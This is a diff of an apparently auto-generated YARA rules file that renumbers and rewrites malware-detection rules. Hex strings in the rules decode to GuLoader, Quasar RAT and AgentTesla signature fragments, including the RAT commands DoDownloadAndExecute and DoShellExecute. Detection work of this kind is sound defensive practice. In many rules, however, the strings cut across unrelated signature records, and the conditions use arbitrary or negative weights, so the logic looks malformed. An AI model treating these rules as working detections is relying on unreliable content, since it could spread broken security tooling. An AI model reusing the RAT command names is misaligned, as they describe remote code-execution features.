@@ -208662,7 +222485,7 @@ rule _InfrastructureShared_17468{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2054+(#a_65_2 & 1)*22117+(#a_45_3 & 1)*24936) >=4 } -rule _InfrastructureShared_17469{ +rule _InfrastructureShared_18608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208675,7 +222498,7 @@ rule _InfrastructureShared_17469{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*513+(#a_69_2 & 1)*17509+(#a_2d_3 & 1)*2305) >=4 } -rule _InfrastructureShared_17470{ +rule _InfrastructureShared_18609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -208689,7 +222512,7 @@ rule _InfrastructureShared_17470{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_65_2 & 1)*8303+(#a_90_3 & 1)*29581+(#a_00_5 & 1)*1) >=4 } -rule _InfrastructureShared_17471{ +rule _InfrastructureShared_18610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -208701,7 +222524,7 @@ rule _InfrastructureShared_17471{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*29476+(#a_72_2 & 1)*28015) >=5 } -rule _InfrastructureShared_17472{ +rule _InfrastructureShared_18611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -208713,7 +222536,7 @@ rule _InfrastructureShared_17472{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_00_4 & 1)*32) >=5 } -rule _InfrastructureShared_17473{ +rule _InfrastructureShared_18612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -208725,7 +222548,7 @@ rule _InfrastructureShared_17473{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*3166+(#a_95_2 & 1)*344) >=6 } -rule _InfrastructureShared_17474{ +rule _InfrastructureShared_18613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -208743,7 +222566,7 @@ rule _InfrastructureShared_17474{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25971+(#a_62_2 & 1)*27759+(#a_65_3 & 1)*24942+(#a_65_4 & 1)*28257+(#a_74_5 & 1)*28532+(#a_00_7 & 1)*100+(#a_61_8 & 1)*28015+(#a_6e_9 & 1)*17266) >=6 } -rule _InfrastructureShared_17475{ +rule _InfrastructureShared_18614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -208759,7 +222582,7 @@ rule _InfrastructureShared_17475{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*8308+(#a_21_2 & 1)*28530+(#a_3a_3 & 1)*21587+(#a_56_4 & 1)*29797+(#a_48_5 & 1)*26159+(#a_50_6 & 1)*14189) >=7 } -rule _InfrastructureShared_17476{ +rule _InfrastructureShared_18615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -208775,7 +222598,7 @@ rule _InfrastructureShared_17476{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25959+(#a_4f_2 & 1)*26191+(#a_64_3 & 1)*28524+(#a_01_4 & 1)*9216+(#a_25_5 & 1)*29295+(#a_77_6 & 1)*17409) >=7 } -rule _InfrastructureShared_17477{ +rule _InfrastructureShared_18616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -208790,7 +222613,7 @@ rule _InfrastructureShared_17477{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28265+(#a_6f_2 & 1)*25973+(#a_54_3 & 1)*21076+(#a_64_4 & 1)*28524+(#a_00_6 & 1)*97) >=7 } -rule _InfrastructureShared_17478{ +rule _InfrastructureShared_18617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -208803,7 +222626,7 @@ rule _InfrastructureShared_17478{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*13366+(#a_00_3 & 1)*101+(#a_48_4 & 1)*8448) >=8 } -rule _InfrastructureShared_17479{ +rule _InfrastructureShared_18618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208813,32 +222636,85 @@ rule _InfrastructureShared_17479{ $a_01_2 = {62 65 6b 65 6e 64 65 6c 73 65 73 73 6b 72 69 66 74 65 6e 2e 70 72 6f 01 00 13 81 01 4e 6f 6e 73 74 61 74 69 6f 6e 61 72 69 65 73 2e 70 61 69 01 00 1c 81 01 36 5c 62 6f 73 74 74 65 6c 73 65 72 5c 63 61 6c 69 66 6f 72 6e 69 75 6d 2e 62 61 72 01 00 0c 81 01 72 61 69 6e 69 65 72 73 2e 65 78 65 00 00 78 30 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //5888 $a_53_3 = {4b 31 32 33 21 4d 54 42 00 01 00 15 81 01 23 5c 62 6c 65 6e 6e 6f 6d 61 5c 61 66 72 69 67 6e 69 6e 67 73 01 00 11 81 01 5c 6f 70 73 74 6f 70 70 65 72 5c 6c 67 65 75 72 74 01 00 1b 81 01 25 76 65 74 65 72 61 6e 65 72 73 25 5c } //11890 $a_70_4 = {65 73 5c 6d 61 6c 69 6e 61 01 00 0f 81 01 38 38 5c 65 6c 65 6e 64 69 67 74 2e 74 61 67 01 00 0f 81 01 2d 5c 55 6e 64 65 72 67 6f 2e 64 65 6e 2d 3e 01 00 1a 81 01 25 69 6e 64 66 72 69 65 6c 73 65 72 73 25 5c 6b 72 76 5c 73 6d 69 6e 6b 72 73 01 00 21 81 01 35 5c 73 6f 6c 62 61 74 74 65 72 69 65 74 5c 73 6b 61 74 74 65 6c 69 67 } //30066 - $a_64_5 = {2e 69 6e 69 01 00 22 81 01 38 38 5c 4d 6f 74 6f 72 66 72 65 72 31 39 38 5c 47 65 6f 6d 6f 72 70 68 6f 67 65 6e 69 63 2e 66 6f 72 01 00 1d 81 01 5c 45 70 69 74 68 65 6c 69 6f 6d 61 73 34 5c 64 61 67 62 72 6b 6e 69 6e 67 2e 76 69 63 00 00 78 30 01 00 0c 00 0c 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 } //25966 - $a_75_6 = {73 61 72 5f 52 41 54 5f 31 00 03 00 32 03 44 6f 55 70 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 34 03 44 6f 44 6f 77 6e 6c 6f 61 64 41 6e 64 } //12136 - $a_63_7 = {74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2e 03 44 6f 53 68 65 6c 6c 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2f 03 73 65 74 5f 50 72 6f 63 65 73 73 6e 61 } //30789 + $a_64_5 = {2e 69 6e 69 01 00 22 81 01 38 38 5c 4d 6f 74 6f 72 66 72 65 72 31 39 38 5c 47 65 6f 6d 6f 72 70 68 6f 67 65 6e 69 63 2e 66 6f 72 01 00 1d 81 01 5c 45 70 69 74 68 65 6c 69 6f 6d 61 73 34 5c 64 61 67 62 72 6b 6e 69 6e 67 2e 76 69 63 00 00 78 30 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 } //25966 + $a_61_6 = {65 72 2e 53 41 52 30 31 21 4d 54 42 00 01 00 1b 81 01 23 5c 50 65 64 65 73 74 72 69 61 6e 69 7a 65 64 5c 73 70 65 69 73 73 2e 65 78 65 01 00 14 81 01 49 6d 70 61 6e 65 6c 6c 65 64 5c 6e 61 6e 6f 6d 65 6c 75 73 01 00 11 81 01 4e 65 64 74 72 79 6b 6b 65 73 31 34 37 2e 74 65 65 01 00 1d 81 01 23 5c 73 6b 61 72 6e 62 61 73 73 65 72 6e } //19573 + $a_73_7 = {75 64 65 70 69 67 72 61 70 68 01 00 22 81 01 6b 6c 61 76 72 69 6e 67 65 72 6e 65 5c 70 61 6c 65 6f 74 65 63 68 6e 69 63 5c 6b 72 69 63 6b 65 74 73 01 00 12 81 01 74 61 6c 65 73 69 74 75 61 74 69 6f 6e 65 72 6e 65 73 01 00 0e 81 01 66 79 72 72 65 6e 61 61 6c 73 73 62 65 72 01 00 08 81 01 6f 6d 72 61 61 64 65 72 01 00 12 81 01 73 61 76 } //23653 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27506+(#a_01_2 & 1)*5888+(#a_53_3 & 1)*11890+(#a_70_4 & 1)*30066+(#a_64_5 & 1)*25966+(#a_75_6 & 1)*12136+(#a_63_7 & 1)*30789) >=8 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27506+(#a_01_2 & 1)*5888+(#a_53_3 & 1)*11890+(#a_70_4 & 1)*30066+(#a_64_5 & 1)*25966+(#a_61_6 & 1)*19573+(#a_73_7 & 1)*23653) >=8 } -rule _InfrastructureShared_17480{ +rule _InfrastructureShared_18619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 4b 31 32 33 21 4d 54 42 00 01 00 15 81 01 23 5c 62 6c 65 6e 6e 6f 6d 61 5c 61 66 72 69 67 6e 69 6e 67 73 01 00 11 81 01 5c 6f 70 73 74 6f 70 70 65 72 5c 6c 67 65 75 72 74 01 00 1b 81 01 25 76 } //18467 $a_72_1 = {6e 65 72 73 25 5c 72 75 6d 70 6c 65 73 5c 6d 61 6c 69 6e 61 01 00 0f 81 01 38 38 5c 65 6c 65 6e 64 69 67 74 2e 74 61 67 01 00 0f 81 01 2d 5c 55 6e 64 65 72 67 6f 2e 64 65 6e 2d 3e 01 00 1a 81 01 25 69 6e 64 66 72 69 65 6c 73 65 72 73 25 5c 6b 72 76 5c 73 6d 69 6e 6b 72 73 01 00 21 81 01 35 5c 73 6f 6c } //29797 - $a_74_2 = {72 69 65 74 5c 73 6b 61 74 74 65 6c 69 67 6e 65 6e 64 65 2e 69 6e 69 01 00 22 81 01 38 38 5c 4d 6f 74 6f 72 66 72 65 72 31 39 38 5c 47 65 6f 6d 6f 72 70 68 6f 67 65 6e 69 63 2e 66 6f 72 01 00 1d 81 01 5c 45 70 69 74 68 65 6c 69 6f 6d 61 73 34 5c 64 61 67 62 72 6b 6e 69 6e 67 2e 76 69 63 00 00 78 30 01 00 0c 00 0c 00 07 00 21 23 41 4c 46 3a 59 32 } //24930 - $a_6c_3 = {72 69 61 6e 5f 52 6f 74 68 2f 51 75 61 73 61 72 5f 52 41 54 5f 31 00 03 00 32 03 44 6f 55 70 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 } //14934 - $a_2d_4 = {90 00 03 00 34 03 44 6f 44 6f 77 6e 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //23085 - $a_2d_5 = {30 2d 39 90 00 03 00 2e 03 44 6f 53 68 65 6c 6c 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2f 03 73 65 74 5f 50 72 } //31277 - $a_73_6 = {6e 61 6d 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 04 00 09 01 04 1e fe 02 04 16 fe 01 60 04 00 0f 03 17 03 1f 20 17 19 15 28 90 0a 09 00 00 90 00 04 00 0d 03 04 03 69 91 1b 40 90 0a 07 00 00 90 00 00 00 78 30 01 00 0e 00 0e 00 0e 00 21 23 48 53 } //25455 - $a_4d_7 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 36 36 21 4d 54 42 00 01 00 13 81 01 4d 50 33 53 68 61 72 70 2e 50 72 6f 70 65 72 74 69 65 73 01 00 08 81 01 45 6e 63 } //21076 - $a_6e_8 = {01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 0d 81 01 47 65 74 4f 62 6a 65 63 74 44 61 74 61 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 09 81 01 43 6f 6d 70 61 72 65 54 6f 01 00 0a 81 01 4d 65 74 } //25711 + $a_74_2 = {72 69 65 74 5c 73 6b 61 74 74 65 6c 69 67 6e 65 6e 64 65 2e 69 6e 69 01 00 22 81 01 38 38 5c 4d 6f 74 6f 72 66 72 65 72 31 39 38 5c 47 65 6f 6d 6f 72 70 68 6f 67 65 6e 69 63 2e 66 6f 72 01 00 1d 81 01 5c 45 70 69 74 68 65 6c 69 6f 6d 61 73 34 5c 64 61 67 62 72 6b 6e 69 6e 67 2e 76 69 63 00 00 78 30 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 } //24930 + $a_61_3 = {3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 52 30 31 21 4d 54 42 00 01 00 1b 81 01 23 5c 50 65 64 65 73 74 72 69 61 6e 69 7a 65 64 5c 73 70 65 69 73 73 2e 65 78 65 01 00 14 81 01 49 6d 70 61 6e 65 6c 6c 65 64 5c 6e 61 6e 6f 6d 65 6c 75 73 01 00 11 81 01 4e 65 64 74 72 79 6b 6b 65 73 31 34 37 2e 74 65 65 01 } //28530 + $a_01_4 = {23 5c 73 6b 61 72 6e 62 61 73 73 65 72 6e 65 5c 70 73 65 75 64 65 70 69 67 72 61 70 68 01 00 22 81 01 6b 6c 61 76 72 69 6e 67 65 72 6e 65 5c 70 61 6c 65 6f 74 65 63 68 6e 69 63 5c 6b 72 69 63 6b 65 74 73 01 00 12 81 01 74 61 6c 65 73 69 74 75 61 74 69 6f 6e 65 72 6e 65 73 01 00 0e 81 01 66 79 72 72 65 6e 61 61 6c 73 73 62 65 72 01 00 08 81 01 6f 6d 72 61 61 64 65 72 01 00 12 81 01 73 } //7424 + $a_72_5 = {6c 69 65 73 20 74 61 76 73 68 65 64 01 00 16 81 01 70 69 70 65 73 74 65 6d 73 20 6d 79 63 65 74 69 73 6d 2e 65 78 65 00 00 78 30 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 5a 21 4d 54 42 00 01 00 12 81 01 5c 44 69 73 61 6d 62 69 67 75 61 74 65 64 2e 6c 6e 6b } //30305 + $a_81_6 = {5c 69 6e 76 61 6c 69 64 69 74 65 74 73 70 72 6f 63 65 6e 74 73 2e 62 69 6e } //1 \invaliditetsprocents.bin + $a_81_7 = {5c 62 61 73 6b 69 73 6b 5c 2a 2e 74 78 74 } //1 \baskisk\*.txt + $a_81_8 = {5c 6e 5c 68 65 6e 73 74 61 6e 64 73 6f 72 64 6e 69 6e 67 65 72 73 2e 6a 70 67 } //1 \n\henstandsordningers.jpg condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_74_2 & 1)*24930+(#a_6c_3 & 1)*14934+(#a_2d_4 & 1)*23085+(#a_2d_5 & 1)*31277+(#a_73_6 & 1)*25455+(#a_4d_7 & 1)*21076+(#a_6e_8 & 1)*25711) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_74_2 & 1)*24930+(#a_61_3 & 1)*28530+(#a_01_4 & 1)*7424+(#a_72_5 & 1)*30305+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_17481{ +rule _InfrastructureShared_18620{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 52 30 31 21 4d 54 42 00 01 00 1b 81 01 23 5c 50 65 64 65 73 74 72 69 61 6e 69 7a 65 64 5c 73 70 65 69 73 73 2e 65 78 65 01 00 14 81 01 49 6d 70 61 6e 65 6c 6c 65 64 5c 6e 61 } //18467 + $a_65_1 = {75 73 01 00 11 81 01 4e 65 64 74 72 79 6b 6b 65 73 31 34 37 2e 74 65 65 01 00 1d 81 01 23 5c 73 6b 61 72 6e 62 61 73 73 65 72 6e 65 5c 70 73 65 75 64 65 70 69 67 72 61 70 68 01 00 22 81 01 6b 6c 61 76 72 69 6e 67 65 72 6e 65 5c 70 61 6c 65 6f 74 65 63 68 6e 69 63 5c 6b 72 69 63 6b 65 74 73 01 00 12 81 01 74 61 6c 65 73 69 74 } //28526 + $a_69_2 = {6e 65 72 6e 65 73 01 00 0e 81 01 66 79 72 72 65 6e 61 61 6c 73 73 62 65 72 01 00 08 81 01 6f 6d 72 61 61 64 65 72 01 00 12 81 01 73 61 76 6f 72 69 6c 69 65 73 20 74 61 76 73 68 65 64 01 00 16 81 01 70 69 70 65 73 74 65 6d 73 20 6d 79 63 65 74 69 73 6d 2e 65 78 65 00 00 78 30 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //24949 + $a_2f_3 = {75 4c 6f 61 64 65 72 2e 53 52 5a 21 4d 54 42 00 01 00 12 81 01 5c 44 69 73 61 6d 62 69 67 75 61 74 65 64 2e 6c 6e 6b 01 00 19 81 01 5c 69 6e 76 61 6c } //13166 + $a_74_4 = {74 73 70 72 6f 63 65 6e 74 73 2e 62 69 6e 01 00 0e 81 01 5c 62 61 73 6b 69 73 6b 5c 2a 2e 74 78 74 01 00 1a 81 01 5c 6e 5c 68 65 6e 73 74 61 6e 64 73 6f 72 64 6e 69 6e 67 65 72 73 2e 6a 70 67 01 00 13 81 01 4c 79 6e 6e 65 64 73 6c 61 67 65 6e 65 37 38 2e 74 78 74 01 00 13 81 01 76 61 6e 64 70 61 61 66 79 6c 64 6e } //25705 + $a_2e_5 = {75 63 01 00 0e 81 01 5c 63 75 72 74 61 69 6e 65 64 2e 69 6e 69 01 00 13 81 01 5c 56 61 6e 64 72 65 5c 67 61 76 65 6c 65 64 2e 74 78 74 01 00 15 81 01 5c 73 75 72 65 73 74 65 5c 55 64 6b 65 72 6e 65 73 2e 65 78 65 01 00 22 81 01 5c 67 65 62 72 6b 6b 65 6c 69 67 68 65 64 73 5c 75 6f 76 65 72 6b 6f 6d 6d 65 6c } //28265 + $a_2e_6 = {69 6e 00 00 78 30 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 44 21 4d 54 42 00 01 00 1f 81 01 5c 63 68 65 72 72 79 65 72 6e 65 73 5c 63 61 74 63 68 6c 69 67 68 74 5c 72 75 74 67 65 72 73 01 00 19 81 01 5c 54 6f 6d 61 5c 4e 6f 6e 65 76 61 70 6f 72 61 62 6c 65 33 32 2e 69 6e } //26473 + $a_73_8 = {75 6c 74 6f 73 63 6f 70 65 2e 6a 70 67 01 00 11 81 01 42 6c 75 66 66 6d 61 67 65 72 65 32 36 2e 74 69 6e 01 00 0b 81 01 48 61 69 74 31 30 30 2e 69 6e 69 01 00 0b 81 01 61 66 74 72 61 70 70 2e 74 78 74 01 00 17 81 01 64 65 6c 73 74 65 6e 73 73 61 6d 6c 69 6e 67 65 72 6e 65 2e 69 6e 69 01 00 1a 81 01 5c 72 65 76 65 6e 64 69 63 61 74 69 6e 67 5c 72 61 } //16641 + $a_72_9 = {2e 69 6e 69 01 00 16 81 01 5c 66 72 61 6b 72 73 6c 65 72 5c 61 66 74 61 67 65 6e 2e 6a 70 67 01 00 1a 81 01 70 72 65 73 75 70 65 72 69 6e 74 65 6e 64 65 6e 63 79 5c 67 61 6e 65 2e 6a 70 00 00 78 30 01 00 0c 00 0c 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 51 75 61 73 } //30580 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28526+(#a_69_2 & 1)*24949+(#a_2f_3 & 1)*13166+(#a_74_4 & 1)*25705+(#a_2e_5 & 1)*28265+(#a_2e_6 & 1)*26473+(#a_73_8 & 1)*16641+(#a_72_9 & 1)*30580) >=10 + +} +rule _InfrastructureShared_18621{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 5a 21 4d 54 42 00 01 00 12 81 01 5c 44 69 73 61 6d 62 69 67 75 61 74 65 64 2e 6c 6e 6b 01 00 19 81 01 5c 69 6e 76 61 6c 69 64 69 74 65 74 73 70 72 6f 63 65 6e 74 73 2e 62 69 } //18467 + $a_62_2 = {73 6b 69 73 6b 5c 2a 2e 74 78 74 01 00 1a 81 01 5c 6e 5c 68 65 6e 73 74 61 6e 64 73 6f 72 64 6e 69 6e 67 65 72 73 2e 6a 70 67 01 00 13 81 01 4c 79 6e 6e 65 64 73 6c 61 67 65 6e 65 37 38 2e 74 78 74 01 00 13 81 01 76 61 6e 64 70 61 61 66 79 6c 64 6e 69 6e 67 2e 6e 75 63 01 00 } //385 + $a_5c_3 = {75 } //-32498 u + $a_69_4 = {65 64 2e 69 6e 69 01 00 13 81 01 5c 56 61 6e 64 72 65 5c 67 61 76 65 6c 65 64 2e 74 78 74 01 00 15 81 01 5c 73 75 72 65 73 74 65 5c 55 64 6b 65 72 6e 65 73 2e 65 78 65 01 00 22 81 01 5c 67 65 62 72 6b 6b 65 6c 69 67 68 65 64 73 5c 75 6f 76 65 72 6b 6f 6d 6d 65 6c 69 67 74 2e 62 69 6e 00 00 } //29810 + $a_00_5 = {0a } //12408 + $a_48_7 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 44 21 4d 54 42 00 01 00 } //8448 + $a_5c_8 = {68 } //-32481 h + $a_79_9 = {72 6e 65 73 5c 63 61 74 63 68 6c 69 67 68 74 5c 72 75 74 67 65 72 73 01 00 19 81 01 5c 54 6f 6d 61 5c 4e 6f 6e 65 76 61 70 6f 72 61 62 6c 65 33 32 2e 69 6e 69 01 00 11 81 01 41 75 73 63 75 6c 74 6f 73 63 6f 70 65 2e 6a 70 67 01 00 11 81 01 42 6c 75 66 66 6d 61 67 65 72 65 32 36 2e 74 69 6e 01 00 0b 81 01 48 61 69 74 31 30 30 2e 69 6e 69 01 } //29285 + condition: + ((#a_54_0 & 1)*18467+(#a_62_2 & 1)*385+(#a_5c_3 & 1)*-32498+(#a_69_4 & 1)*29810+(#a_00_5 & 1)*12408+(#a_48_7 & 1)*8448+(#a_5c_8 & 1)*-32481+(#a_79_9 & 1)*29285) >=10 + +} +rule _InfrastructureShared_18622{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 44 21 4d 54 42 00 01 00 1f 81 01 5c 63 68 65 72 72 79 65 72 6e 65 73 5c 63 61 74 63 68 6c 69 67 68 74 5c 72 75 74 67 65 72 73 01 00 19 81 01 5c 54 6f 6d 61 5c 4e 6f 6e 65 76 } //18467 + $a_72_1 = {62 6c 65 33 32 2e 69 6e 69 01 00 11 81 01 41 75 73 63 75 6c 74 6f 73 63 6f 70 65 2e 6a 70 67 01 00 11 81 01 42 6c 75 66 66 6d 61 67 65 72 65 32 36 2e 74 69 6e 01 00 0b 81 01 48 61 69 74 31 30 30 2e 69 6e 69 01 00 0b 81 01 61 66 74 72 61 70 70 2e 74 78 74 01 00 17 81 01 64 65 6c 73 74 65 6e 73 73 61 6d 6c 69 6e 67 65 72 6e 65 2e 69 } //28769 + $a_00_2 = {1a } //26990 + $a_72_3 = {76 65 6e 64 69 63 61 74 69 6e 67 5c 72 61 74 77 65 72 65 2e 69 6e 69 01 00 16 81 01 5c 66 72 61 6b 72 73 6c 65 72 5c 61 66 74 61 67 65 6e 2e 6a 70 67 01 00 1a 81 01 70 72 65 73 75 70 65 72 69 6e 74 65 6e 64 65 6e 63 79 5c 67 61 6e 65 2e 6a 70 00 00 78 30 01 00 0c 00 0c 00 07 } //385 + $a_41_4 = {46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 51 75 61 73 61 72 5f 52 41 54 5f 31 00 03 00 32 } //8448 + $a_55_5 = {6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 34 03 44 6f 44 6f 77 6e 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2e 03 44 6f 53 68 65 } //17411 + $a_78_6 = {63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2f 03 73 65 74 5f 50 72 6f 63 65 73 73 6e 61 6d 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //27756 + $a_2d_8 = {41 2d 5a 30 2d 39 90 00 04 00 09 01 04 1e fe 02 04 16 fe 01 60 04 00 0f 03 17 03 1f 20 17 19 15 28 90 0a 09 00 00 90 00 04 00 0d 03 04 03 69 91 1b 40 90 0a 07 00 00 90 00 00 00 78 30 01 00 0e 00 0e 00 0e 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 } //2305 + $a_4d_9 = {42 00 01 00 13 81 01 4d 50 33 53 68 61 72 70 2e 50 72 6f 70 65 72 74 69 65 73 01 00 08 81 01 45 6e } //13878 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28769+(#a_00_2 & 1)*26990+(#a_72_3 & 1)*385+(#a_41_4 & 1)*8448+(#a_55_5 & 1)*17411+(#a_78_6 & 1)*27756+(#a_2d_8 & 1)*2305+(#a_4d_9 & 1)*13878) >=10 + +} +rule _InfrastructureShared_18623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -208854,7 +222730,7 @@ rule _InfrastructureShared_17481{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_00_2 & 1)*2448+(#a_61_3 & 1)*281+(#a_03_4 & 1)*3+(#a_01_5 & 1)*4+(#a_03_6 & 1)*4) >=12 } -rule _InfrastructureShared_17482{ +rule _InfrastructureShared_18624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -208875,7 +222751,7 @@ rule _InfrastructureShared_17482{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_6f_3 & 1)*385+(#a_34_4 & 1)*12387+(#a_69_5 & 1)*12082+(#a_01_6 & 1)*3+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*3+(#a_01_10 & 1)*3+(#a_30_11 & 1)*0+(#a_00_12 & 1)*4098) >=14 } -rule _InfrastructureShared_17483{ +rule _InfrastructureShared_18625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 0f 00 07 00 21 " @@ -208891,7 +222767,7 @@ rule _InfrastructureShared_17483{ ((#a_77_0 & 1)*16675+(#a_68_1 & 1)*29281+(#a_2e_2 & 1)*26992+(#a_44_3 & 1)*24938+(#a_00_4 & 1)*1+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1) >=15 } -rule _InfrastructureShared_17484{ +rule _InfrastructureShared_18626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 08 00 21 " @@ -208904,7 +222780,7 @@ rule _InfrastructureShared_17484{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*92+(#a_00_4 & 1)*119+(#a_00_7 & 1)*12664) >=32 } -rule _InfrastructureShared_17485{ +rule _InfrastructureShared_18627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -208914,7 